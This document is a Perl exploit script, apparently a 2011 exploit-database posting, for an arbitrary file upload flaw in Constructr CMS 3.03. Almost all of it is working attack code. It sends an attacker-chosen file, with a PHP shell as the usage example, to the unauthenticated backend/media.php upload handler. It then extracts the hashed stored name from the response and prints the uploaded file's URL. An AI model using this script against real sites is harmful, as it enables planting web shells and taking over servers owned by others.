Constructr CMS 3.03 – Arbitrary File Upload
#!/usr/bin/env perl # Constructr CMS 3.03 Arbitrary File Upload # # Author: plucky # Email: io.plucky@gmail.com # # Vulnerable Page: /constructr/backend/media.php [line # App Download: http://sourceforge.net/projects/constructr/ # # Date: 23/03/2011 # THX TO: yawn, shrod, h473 and DoMinO use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common qw( POST ); my $host = ''; my $file_to_upload = ''; my $new_file_name = ''; my $file_extension = ''; sub exploit_usage { print 'Constructr CMS 3.03 Arbitrary File Upload' . "\n". '-------------------------' . "\n". 'Author: plucky' . "\n". 'Email: io.plucky@gmail.com' . "\n". '-------------------------' . "\n". 'Usage:' . "\n". ' perl xpl.pl [host]/[cms-path]/ /[path-file]/[file]' . "\n". 'Example:' . "\n". ' perl ' . $0 . ' http://vulnerable.com/constructr/ /home/plucky/shell.php' . "\n"; exit; } sub file_parse { my $file_name = ''; my $file_extension = ''; my $file_to_upload = ''; my $rfile_to_upload = ''; $rfile_to_upload = shift; $file_to_upload = ${$rfile_to_upload}; $file_to_upload =~ m/\/([a-z0-9]+)\.([a-z]+)/i; $file_name = $1; $file_extension = $2; return ( $file_name, $file_extension ) } sub upload_file { my $host = ''; my $rhost = ''; my $file_name = ''; my $file_extension = ''; my $response = ''; my $path = ''; my $html = ''; my $user_agent = ''; my $file_to_upload = ''; my $rfile_to_upload = ''; my $new_file_name = ''; ( $rhost, $rfile_to_upload ) = @_; $host = ${$rhost}; $file_to_upload = ${$rfile_to_upload}; $user_agent = LWP::UserAgent->new; $path = $host . 'backend/media.php'; $response = $user_agent->post( $path, [ 'create_file' => 'try', 'file' => [$file_to_upload], ], 'Content_Type' => 'form-data' ); ( $file_name, $file_extension ) = file_parse( \$file_to_upload ); $html = $response->decoded_content; $html =~ m/show_path=([a-f0-9]{32})\.$file_extension">$file_name\.$file_extension<\/a>/i; $new_file_name = $1; return ( $new_file_name, $file_extension ); } @ARGV == 2 ? ( $host, $file_to_upload ) = @ARGV : exploit_usage(); ( $new_file_name, $file_extension ) = upload_file( \$host, \$file_to_upload ); print $host, 'data/workspace/uploads/', $new_file_name, '.', $file_extension, "\n"; |